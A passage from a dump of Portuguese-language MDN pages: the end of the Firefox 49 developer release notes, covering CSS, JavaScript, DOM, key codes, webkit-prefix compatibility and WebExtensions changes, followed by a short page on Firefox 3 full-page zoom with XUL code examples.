para `background-repeat` (en-US) (Erro do Firefox 548372).\n* no `background-clip`, as tags `text` são ativadas por padrão (Erro do Firefox 1264905).\n* Adicionado suporte a cores específicas como o canal alpha usando 4- e 8-digitos CSS hex cor de valores (#RRGGBBAA e #RGBA) (Erro do Firefox 567283).\n* A pseudo-class `:dir()` (en-US) foi desprezado (Erro do Firefox 859301).\n* Em nossa implementação experimental (ainda não ativa por padrão) de `clip-path` (en-US), podemos agora interpolar entre valores `<basic-shape>` (en-US) (Erro do Firefox 1110460).\n* Adicionado a `unidade de comprimento q` (en-US) (Erro do Firefox 1274526).\n* A propiedade `text-align-last` (en-US) foi desprezada (Erro do Firefox 1039541).\n* Adicionado suporte para `overflow-wrap`, substituindo `word-wrap` que ainda é suportado como nome alternativo (Erro do Firefox 955857).\n* Nossa experiencia com a implementação do CSS Grids foi melhorado:\n    + implementado `<percentage>` (en-US) para as propriedades `grid-gap` (en-US), `grid-row-gap` (en-US), e `grid-column-gap` (en-US) (Erro do Firefox 1266268).\n    + Implementado suporte a layout grid layout para `align`, `justify-self` (en-US)`:baseline` e `last-baseline` (aka \"baseline self-alignment\") (Erro do Firefox 1221525).\n    + Implementado alinhamento de conteúdo baseline de item em grid (Erro do Firefox 1256429).\n* Nosso experimeto implementação de CSS Masks (en-US) foi melhorado:\n    + A propiedade `mask-origin` (en-US) agora usa `border-box` ao invés de `padding-box` como valor inicial, para coincidir com a especificação (Erro do Firefox 1258286).\n    + A propriedade `mask-repeat` (en-US) suporta os seguintes volumes: `space` e `round` values (Erro do Firefox 1258626).\n    + Corrigido o problema que impedia o atributo `mask-position` (en-US) de ser animado (Erro do Firefox 1273804).\n* O controle de preferências `text-emphasis` (en-US) foi removido, assim o suporte para esta propiedade não pode ser mais desabilitado (Erro do Firefox 1229609).\n### JavaScript\n\n* As armadilhas para ES2015 (ES6) `getPrototypeOf()` (en-US) e `setPrototypeOf()` (en-US) `Proxy` foram implementadas (Erro do Firefox 888969).\n* O metodos ES2015 (ES6) `RegExp.prototype[@@match]()` (en-US), `RegExp.prototype[@@replace]()` (en-US), `RegExp.prototype[@@search]()` (en-US), e `RegExp.prototype[@@split]()` (en-US), e `RegExp[@@species]` (en-US) getter foram implementados (Erro do Firefox 887016).\n* A versão obsoleta, `sem padrão nos argumentos de flags` do `String.prototype.``match`/`search`/`replace` foi remivida (Erro do Firefox 1108382).\n* O comportamento do metodo `Date.parse()` quando analisam 2-digit years foi modificado para mais interoperável com o navegador Google Chrome (Erro do Firefox 1265136).\n### Interfaces/APIs/DOM\n\n#### DOM & HTML DOM\n\n* O metodo `DOMTokenList.supports()` (en-US) foi adicionado (Erro do Firefox 1257849).\n* O metodo `DOMTokenList.replace()` (en-US) foi adicionado (Erro do Firefox 1224186).\n* O caractere principal `'?'` agora é ignorado no parâmetro do construtor `URLSearchParams()` (en-US) (Erro do Firefox 1268361).\n* O valor retornado por `URL.origin`, `HTMLAnchorElement.origin` (en-US), e `HTMLAreaElement.origin` (en-US) para URL usando o `blob:` o esquema não está mais incorreto `null` mas em vez disso, a origem da URL formado pela remorção da tag `blob:` (Erro do Firefox 1270451).\n* No modo de pre-renderização, a propriedade `Document.visibilityState` (en-US) agora retorna `'prerender'` (Erro do Firefox 1069772).\n* A propriedade `Window.isSecureContext` foi implantada (Erro do Firefox 1162772).\n* Os metodos DOM4 `ChildNode.before()` (en-US), `ChildNode.after()` (en-US), `ChildNode.replaceWith()` (en-US), `ParentNode.append()` (en-US) e `ParentNode.prepend()` (en-US) foram implementados (Erro do Firefox 911477).\n* O metodo `TouchList.identifiedTouch()` foi removido (Erro do Firefox 1188539).\n* Por padrão, a característica `scrollbars` `Window` é habilitado quando chamado `Window.open()` (en-US). Anteriormente, quanto era altamente recomendado ativar ele, pois não era padrão (Erro do Firefox 1257887).\n* Adicionado o *metodo experimental* e *non-standard* do metodo `HTMLMediaElement.seekToNextFrame()` (en-US), que permite bucar quadro a quadro no conteúdo do vídeo (Erro do Firefox 1235301). Equanto você é incentivado a expertimentar, dessar forma você nos ajuda a entender o quão útil ele é, *não use ele em produção de código!*\n* A propriedade `HTMLLabelElement.form` (en-US) agora retorna a forma com que o controle de label's foi assiciado, se houver um controle (e se esse controle for associado ao formulário). Anteriormente, labels eram diretamente associados com formulários usando essa propriedade (Erro do Firefox 1268852).\n* Suporte ao paramtro third de `EventTarget.addEventListener()`, ou um `Boolean` ou a `EventListenerOptions` foi adicionado (Erro do Firefox 1266164 and Erro do Firefox 1266066).\n* O volume do áudio relativo a `KeyboardEvent.key` (en-US) foram renomeados. `\"VolumeDown\"` é agora `\"AudioVolumeDown\"`, `\"VolumeUp\"` é agora `\"AudioVolumeUp\"`, e `\"VolumeMute\"` e agora `\"AudioVolumeMute\".` Isso traz Firefox para alinhamento com os últimos rascunhos de especificações de UI Events (Erro do Firefox 1272578). Veja Code values (en-US) para uma lista completa de possibilidades de códigos.\n* Os códigos ateriormente referidos a `\"MozHomeScreen\"`, `\"MozCameraFocusAdjust\"`, e `\"MozPhoneCall\"` agora tem nomes oficiais na especificação UI Events: `\"GoHome\"`, `\"CameraFocus\"`, e `\"Call\"`. Firefox 49 foi atualizado para utilizar os novos nomes (Erro do Firefox 1272599). Veja Code values (en-US) para uma lista completa de possilidades de códigos\n* O valor dos códigos `\"Separator\"` e `\"MediaSkip\"` foram removidos, por serem desatualizados e não utilizados (Erro do Firefox 1232919).\n* Valor do código e a correspondencia dos códigos `\"Hyper\"` e `\"Super\"`foi adicionado para representar os modificadores de herança dos códigos (Erro do Firefox 1232919).\n* *Duas teclas do teclado numérico multimídia foram adicionados*: `\"Key11\"` e `\"Key12\"` (Erro do Firefox 1232919).\n* *Foram adicionados novos códigos para controle de audio*: `\"AudioBassBoostToggle\"`, `\"AudioTrebleDown\"`, e `\"AudioTrebleUp\"` (Erro do Firefox 123919).\n* Adiconado código para controle do mocrofone: `\"MicrophoneToggle\"`, `\"MicrophoneVolumeDown\"`, `\"MicrophoneVolumeUp\"`, e `\"MicrophoneVolumeMute\"` (Erro do Firefox 123919).\n* *Adicionado novo código de suporte a dispositivos de reconhecimento de fala*: \"`SpeechCorrectionList\"` e `\"SpeechInputToggle\"` (Erro do Firefox 1232919).\n* *Nova tecla foi adicionada para suportar botões especiais em telefones*: `\"AppSwitch\"`, `\"Call\"`, `\"CameraFocus\"`, `\"EndCall\"`, `\"GoBack\"`, `\"GoHome\"`, `\"HeadsetHook\"`, `\"LastNumberRedial\"`, `\"Notification\"`, `\"MannerMode\"`, e `\"VoiceDial\"` (Erro do Firefox 1232919).\n* Um novo botão de aplicação foi adicionado: `\"LaunchContacts\"` e `\"LaunchPhone\"` (Erro do Firefox 1232919).\n* Adicionado novos códigos de suporte a dispositivos de TV: `\"TV3DMode\"`, `\"TVAntennaCable\"`, `\"TVAudioDescription\"`, `\"TVAudioDescriptionMixDown\"`, `\"TVAudioDescriptionMixUp\"`, `\"TVContentsMenu\"`, `\"TVDataService\"`, `\"TVInput\"`, `\"TVInputComponent1\"`, `\"TVInputComponent2\"`, `\"TVInputComposite1\"`, `\"TVInputComposite2\"`, `\"TVInputHDMI1\"`, `\"TVInputHDMI2\"`, `\"TVInputHDMI3\"`, `\"TVInputHDMI4\"`, `\"TVInputVGA1\"`, `\"TVMediaContext\"`, `\"TVNetwork\"`, `\"TVNumberEntry\"`, `\"TVRadioService\"`, `\"TVSatellite\"`, `\"TVSatelliteBS\"`, `\"TVSatelliteCS\"`, `\"TVSatelliteToggle\"`, `\"TVTerrestrialAnalog\"`, `\"TVTerrestrialDigital\"`, `\"TVTimer\"`, e `\"DVR\"` (Erro do Firefox 1232919).\n* O código `\"MediaSelect\"` foi substituido pelo valor padrão `\"LaunchMediaPlayer\"` (Erro do Firefox 1272592).\n* *Foram adicionados códigos adicionais para mídia-player*. São esses `\"MediaAudioTrack\"`, `\"MediaSkipBackward\"`, `\"MediaSkipForward\"`, `\"MediaStepBackward\"`, `\"MediaStepForward\"`, `\"MediaTopMenu\"`, `\"NavigateIn\"`, `\"NavigateNext\"`, `\"NavigateOut\"`, e `\"NavigatePrevious\"` (Erro do Firefox 1232919).\n\n#### Canvas\n\n* A propriedade `CanvasRenderingContext2D.filter` (en-US), que fornece suporte para adicionar foltros a uma canvas, agora é ativa por padrão e não precisa mais ser abilitado nas preferências (Erro do Firefox 1173545).\n\n#### WebGL\n\n* A extensão `EXT_color_buffer_float` (en-US) WebGL 2 (en-US) foi implementada (Erro do Firefox 1129332).\n* O evento `webglcontextcreationerror`, que é criando quando a tentativa de criação de contexto do WebGL falha, foi implementado (Erro do Firefox 1271478). Use isso para ajudar a entender melhor, tanto para depuração quanto para o processamento de errros de produção.\n\n#### IndexedDB\n\n* Agora você pode renomear IndexedDB indexes; a propriedade `IDBIndex.name` (en-US) já não é mais de leitura-única (Erro do Firefox 1118028).\n* Você também pode renomear `IDBObjectStore` (en-US)s; a propriedade `IDBObjectStore.name` (en-US) já não é de leitura-única (Erro do Firefox 1118028).\n\n#### Service Workers e relatórios\n\n* O Objeto Fetch API's `Response` agora implementa a propriedade `redirected` (en-US) , que indica se a resposta é para uma solicitação que foi redirecionada. Por favor ervise o relatório de segurança na documentação usanda anteriormente nessa propriedade (Erro do Firefox 1243792).\n* Na API de Permissões (en-US), Firefox já não suporta a palavra `PermissionDescriptor` ti push (referido na especificação como `PushPermissionDescriptor`); Isso ocorre porque o Firefox depende de um sistema de cotas para controloar o status `userVisibleOnly`, e estava lançando um erro ao encontrar uma instância do `PushPermissionDescriptor` (Erro do Firefox 1266821). Com essa palavra removida, o Firefox simplismente ignora.\n\n#### Streams de mídia\n\n* Antigamente, era possível chamar `MediaDevices.getUserMedia()` (en-US) como requerimento ambos áudio e vídeo para ter sucesso nos casos em que o usuário tem apenas um dos dois tipos de hardware disponíveis . Isso foi fixado (Erro do Firefox 802326).\n* Nas versões anteriores do Firefox, era possível chamar por `MediaDevices.getUserMedia()` (en-US) que solicita tando audio quanto vídeo para ter êxito mesmo que o usuário tenha negado acesso a um, mas não a ambos os dispositivos de correspondência. Isso foi fixado (Erro do Firefox 802326). Isso envolve pequenas alterações na interface de usuários, para remover a opção para escolher \"sem áudio\" ou \"Sem vídeo\" quando o usuário é solicitado para as permissões.\n* O metodo `MediaStream.getTrackById()` (en-US) foi implantado (Erro do Firefox 1208390).\n\n#### WebRTC\n\n* O metodo `RTCPeerConnection.addTrack()` (en-US) foi atualizado para permitir tracks sue não são componentes dos stream especificados a serem adicionados à conexão. Ao invés, os streams são usados para agrupar tracks na extremidade receptora da conexão (Erro do Firefox 1271669).\n\n#### Novas APIs\n\n* A API `PerformanceObserver` (en-US) agpra é ativa por padrão no Nightly. Isso não é atio por padrão em outras versõs do Firefox 49 (Erro do Firefox 1271487).\n\n#### Outras\n\n* `XMLHttpRequest.getResponseHeader()` (en-US) e `XMLHttpRequest.getAllResponseHeaders()` (en-US) retornar cabeçalhos vazios caso a preferência `network.http.keep_empty_response_headers_as_empty_string` esta configurado para `true` (Erro do Firefox 669259).\n* O Firefox OS-apenas API Banco de Dados foi removida (Erro do Firefox 1261009).\n* A API de Tela Cheia (en-US) manipulador de eventos `Document.onfullscreenchange` (en-US) e `Document.onfullscreenerror` (en-US) foram removidos de `Element` como nunca foram usados la; As versões de prefixo desses manipuladores de eventos foram mantidas lá para fins de compatibilidade, Contudo (Erro do Firefox 1270386). Observe que ele não é ativado por padrão, mas está atrás da preferência `full-screen-api.unprefix.enabled` (Erro do Firefox 1268749).\n* A propriedade obsoleta `Document.mozFullScreen` (en-US) não foi pré-fixada `Document.fullscreen` Erro do Firefox 1269157}. Perceba que ela não é ativa por padrão nas preferencias the `full-screen-api.unprefix.enabled` (Erro do Firefox 1268749).\n* A propriedade leitor `Document.fullscreenElement` (en-US) e `Document.fullscreenEnabled` (en-US) deixa de lançar exceção se hover tentativa de alterar o seu valor; ao invés disso, o novo valor é ignorado e a função setter é uma no-op (Erro do Firefox 1269798).\n* Qualquer tipode de dado pode ser agora recuperado da área de tranferência usada `DataTransfer.getData()` (en-US): anteriormente, apenas alguns tipos de dados do tipo MIME eram suportados Erro do Firefox 860857.\n* Nossa implementação da API da cronometragrm de frames, consistindo nas duas interfaces `PerformanceCompositeTiming` e `PerformanceRenderTiming`, foram removidas pois as especificações foram totalmente reescritas (Erro do Firefox 1271846).\n* Para especificações correspondentes, a propriedade `VTTCue.positionAlign` (en-US) agora retorna um `PositionAlign` enum em vez de `Align` enum (Erro do Firefox 1276129).\n* A parte de síntese da API Web Speech (en-US) agora é ativo por padrão (Erro do Firefox 1268633).\n* A API Timeline de performace agora está disponível de padrão no Nightly (embrora não no Aurora, Beta ou Release).\n* O evento `install`, e o `Window.oninstall` (en-US) manipulador de evento, são agora suportado por Web Manifests (Erro do Firefox 1265279).\n* Quando usar o metodo `AudioContext.createPeriodicWave()` (en-US) de Web Audio API, você pode específicar se a onda periódica resultante deve ser normalizada incluindo um objeto de dicionário como o terceiro parâmetro, que inclui um único parâmetro — `{disableNormalization: true}` (Erro do Firefox 1265405).\n* Na APIWebVTT, `VTTCue.positionAlign` (en-US) retorna corretamente um `PositionAlignSetting` enum conforme a especificação; anteriormente ele retornava um `AlignSetting` enum (Erro do Firefox 1276129).\n* A parte de síntese de fala da API Web Speech agora é habilitado por padrão em todos os navegadores desktop (Erro do Firefox 1268633).\n* O contrutor de API Web Animations (en-US) `Animation()` (en-US) agora aceita null na timeline (Erro do Firefox 1096776).\n### MathML\n\n*Sem mudanças.*\n\n### SVG\n\n* Removido o suporte por ser considerador obsoleto os seguintes elementos: `<altGlyph>`, `<altGlyphDef>` e `<altGlyphItem>` (Erro do Firefox 1260032).\n### Audio/Video\n\n*Sem mudanças.*\n\nHTTP\n----\n\n* `O diretiva Cache-Control: immutable` foi implantada (Erro do Firefox 1267474). Veja também essa postagem no blog para mais informações.\nNetworking\n----------\n\n* A implementação do Auto-configuração de Proxy (PAC) foi atualizada. Agora `weekdayRange`, `dateRange`, e `timeRange` suportam \"intervalos invertidos\", por exempo, `weekdayRange(\"SAT\", \"MON\")` avaliare `true` se o dia atual é Saturday, Sunday, ou Monday (Erro do Firefox 1251332).\nSegurança\n---------\n\n* A propriedade `Window.isSecureContext`, indica se o contexto é capaz de usar recursos que exigem contextos de segurança (en-US), foi implementado (Erro do Firefox 1162772).\nCompatilibidade\n---------------\n\nA fim de melhorar a compatilidade com o conteúdo existente, Firefox agora aceita algumas propriedades e atributos do webkit.\n\n* As propriedades a seguir também trabalham com prefixo -webkit:\n    + `-webkit-align-items` (en-US)\n    + `-webkit-align-content` (en-US)\n    + `-webkit-align-self` (en-US)\n    + `-webkit-animation` (en-US)\n    + `-webkit-animation-delay` (en-US)\n    + `-webkit-animation-direction` (en-US)\n    + `-webkit-animation-duration` (en-US)\n    + `-webkit-animation-fill-mode` (en-US)\n    + `-webkit-animation-iteration-count` (en-US)\n    + `-webkit-animation-name` (en-US)\n    + `-webkit-animation-play-state` (en-US)\n    + `-webkit-animation-timing-function` (en-US)\n    + `-webkit-backface-visibility` (en-US)\n    + `-webkit-background-clip` (en-US)\n    + `-webkit-background-origin` (en-US)\n    + `-webkit-background-size` (en-US)\n    + `-webkit-border-bottom-left-radius` (en-US)\n    + `-webkit-border-bottom-right-radius` (en-US)\n    + `-webkit-border-image` (en-US)\n    + `-webkit-border-top-left-radius` (en-US)\n    + `-webkit-border-top-right-radius` (en-US)\n    + `-webkit-border-radius` (en-US)\n    + `-webkit-box-shadow` (en-US)\n    + `-webkit-filter` (en-US)\n    + `-webkit-flex` (en-US)\n    + `-webkit-flex-basis` (en-US)\n    + `-webkit-flex-direction` (en-US)\n    + `-webkit-flex-flow` (en-US)\n    + `-webkit-flex-grow` (en-US)\n    + `-webkit-flex-shrink` (en-US)\n    + `-webkit-flex-wrap` (en-US)\n    + `-webkit-justify-content` (en-US)\n    + `-webkit-order` (en-US)\n    + `-webkit-perspective` (en-US)\n    + `-webkit-perspective-origin` (en-US)\n    + `-webkit-text-size-adjust` (en-US)\n    + `-webkit-transform` (en-US)\n    + `-webkit-transform-origin` (en-US)\n    + `-webkit-transform-style` (en-US)\n    + `-webkit-transition` (en-US)\n    + `-webkit-transition-delay` (en-US)\n    + `-webkit-transition-duration` (en-US)\n    + `-webkit-transition-property` (en-US)\n    + `-webkit-transition-timing-function` (en-US)\n    + `-webkit-user-select` (en-US)\n* As propriedades a seguir correspondem à propriedade prefixa equivalente\n    + `-webkit-box-flex` (en-US)\n    + `-webkit-box-ordinal-group` (en-US)\n    + `-webkit-box-orient` (en-US)\n    + `-webkit-box-align` (en-US)\n    + `-webkit-box-pack` (en-US)\n* Para valores `<image>`:\n    + As funções a seguir correspondem aos seus equivalentes não predefinidos: `-webkit-linear-gradient()` (en-US), `-webkit-radial-gradient()` (en-US), `-webkit-repeating-linear-gradient()` (en-US), e `-webkit-repeating-radial-gradient()` (en-US).\n    + O desatualizado `-webkit-gradient` é suportado (e traduzindo para um gradiente regular)\n* Os seguintes valores `display` foram traduzidos:\n    + `-webkit-box` to `-moz-box`\n    + `-webkit-flex` to `flex`\n    + `-webkit-inline-box` to `inline-flex`\n    + `-webkit-inline-flex` to `-moz-inline-flex`\n* As seguintes propriedades são suportadas ( E não mapeia para qualquer equivalente não predefinido):\n    + `-webkit-text-fill-color` (en-US)\n    + `-webkit-text-stroke-color` (en-US)\n    + `-webkit-text-stroke-width` (en-US)\n    + `-webkit-text-stroke` (en-US)\n* A interface `WebKitCSSMatrix` (en-US) é um nome de `DOMMatrix` (en-US)\n* Os seguintes recursos de consulta de mídia foram implementados:\n    + `-webkit-min-device-pixel-ratio` é um nome para `min-resolution` com o mesmo valor em (em `dppx)`, embora este recurso seja disabilitado por padrão (atras de preferências no about:config `layout.css.prefixes.device-pixel-ratio-webkit`)\n    + `-webkit-max-device-pixel-ratio` é um nome de `max-resolution` para o mesmo valor (em `dppx`); essa característica é destivada por padrão, atras da mesma preferência no about:config\n    + `-webkit-transform-3d` sempre combinando, indicando suporte a transformações 3D.\nMudanças para extensões e desenvolvedores Mozilla\n-------------------------------------------------\n\n### Extensões WEB\n\n* Suporte a `history` (en-US) foi adicionado. Isso fornece acesso a histórico do navegador, com metodos disponíveis para pesquisar no histórico, obtendo informações sobre páginas visitanas anteriormente, e adicionando e removendo entradas no históricos.\n* Adicionado o metodo `tabs.removeCSS()` (en-US) para aba API. Esse metodo permite remover o CSS que foi anteriormente injetado por chamada `tabs.insertCSS()` (en-US).\n### Interfaces\n\n* No `EventTarget.addEventListener()`, o valor `mozSystemGroup`, ativa apenas com o código rodando no XBL ou no Firefox's chrome, e um `Boolean` que indica se o ouvinte foi adicionado ao grupo do sistema. (Erro do Firefox 1274520)\n### Outros\n\n*Sem mudanças!.*\n\nOutras versões\n--------------\n\n* Firefox 48 for developers (en-US)\n* Firefox 47 for developers (en-US)\n* Firefox 46 for developers (en-US)\n* Firefox 45 for developers (en-US)\n* Firefox 44 for developers (en-US)\n* Firefox 43 for developers (en-US)\n* Firefox 42 for developers (en-US)\n* Firefox 41 for developers (en-US)\n* Firefox 40 for developers (en-US)\n* Firefox 39 for developers (en-US)\n* Firefox 38 for developers (en-US)\n* Firefox 37 for developers (en-US)\n* Firefox 36 for developers (en-US)\n* Firefox 35 for developers (en-US)\n* Firefox 34 for developers (en-US)\n* Firefox 33 for developers (en-US)\n* Firefox 32 for developers (en-US)\n* Firefox 31 for developers (en-US)\n* Firefox 30 for developers (en-US)\n* Firefox 29 for developers (en-US)\n* Firefox 28 for developers (en-US)\n* Firefox 27 for developers (en-US)\n* Firefox 26 for developers (en-US)\n* Firefox 25 for developers (en-US)\n* Firefox 24 for developers (en-US)\n* Firefox 23 for developers (en-US)\n* Firefox 22 for developers (en-US)\n* Firefox 21 for developers (en-US)\n* Firefox 20 for developers (en-US)\n* Firefox 19 for developers (en-US)\n* Firefox 18 for developers (en-US)"}
{"title":"Zoom de página inteira - Mozilla","text":"Zoom de página inteira\n======================\n\nZoom de página inteira (ou apenas fullzoom) é um novo recurso do Firefox 3.\n\n### Exemplo (XUL:browser)\n\nO exemplo a seguir demonstra o uso da janela atual do navegador. Esse é o uso típico de uma extensão do Firefox.\n```\n\nvar zoom = ZoomManager.getZoomForBrowser(gBrowser.selectedBrowser);\nZoomManager.enlarge();\nZoomManager.setZoomForBrowser(gBrowser.selectedBrowser, ZoomManager.MIN);\n```\n\n### Exemplo (XUL:iframe)\n\nNota: Isso provavelmente está desatualizado.\n\nVocê pode usar o recurso fullZoom para um XUL:iframe também. No entanto, como um iframe não tem uma propriedade markupDocumentViewer, precisamos obtê-la primeiro:\n```\n\nvar zoom = 1.5;\nvar iframe = document.getElementById(\"authorFrame\");\nvar contViewer = iframe.docShell.contentViewer;\nvar docViewer = contViewer.QueryInterface(Components.interfaces.nsIMarkupDocumentViewer);\ndocViewer.fullZoom = zoom;\n```\n\n### References\n\n* Extensão de zoom de página por Ted Mielczarek fullpagezoom.xpi para os últimos Firefox 3.0 nightlies\n* Glazoom extension por Daniel Glazman para Firefox 3.0\n* O bugzilla bug sobre fullZoom.\n* `nsIMarkupDocumentViewer` documentação da interface."}